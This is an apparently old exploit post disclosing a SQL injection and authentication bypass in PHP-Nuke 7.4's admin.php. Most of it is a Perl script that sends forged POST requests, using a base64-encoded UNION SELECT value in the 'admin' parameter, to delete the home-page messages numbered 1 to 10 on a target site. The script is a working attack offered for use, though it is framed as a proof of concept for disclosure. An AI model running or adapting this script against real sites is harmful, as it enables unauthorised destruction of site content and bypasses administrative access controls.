[XSS]/SQL Injection PHP-Nuke Delete Message(s) Bug by bima_

Php-Nuke is a popular freeware content management system.
Based on information at :
http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug

An attacker permitted to post to global home-page messages.

I found that we can delete message(s) too.

I wrote a little perl script to prove it, i used POST method.

Here it is :

******cut here**************
#!/usr/bin/perl
#

use LWP;

$log = "pos_phpnuke_deletemsg.txt";
$Agent = "Mbahmu/1.0";
$proxy = "http://172.9.1.11:80/"; # proxy:port ...
$browser = LWP::UserAgent->new;
$browser -> agent($Agent);

$url = 'http://www.sitewithphpnuke.com/admin.php';

$browser->proxy(http => $proxy) if defined($proxy);

printlog ("\nProcessing: $url\n");

for ($a = 1; $a < 11; $a++) {

$mid=$a;

$loginpost = $url;
$loginrequest = HTTP::Request->new(POST => $loginpost);
$loginrequest->content_type('application/x-www-form-urlencoded');
$loginsend =
'mid='.$mid.
'&ok=1'.
'&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'.
'&add_radminsuper=1'.
'&op=deletemsg';
$loginrequest->content-length($loginsend);
$loginrequest->content($loginsend);
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;
#print ($logincek);

if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){
printlog ("$mid attempting delete message sending OK ".$loginresponse->status_line ."\n");
}
else {
printlog ("$mid could be failure ".$loginresponse->status_line ."\n");
last;
}

} #end of for

sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}
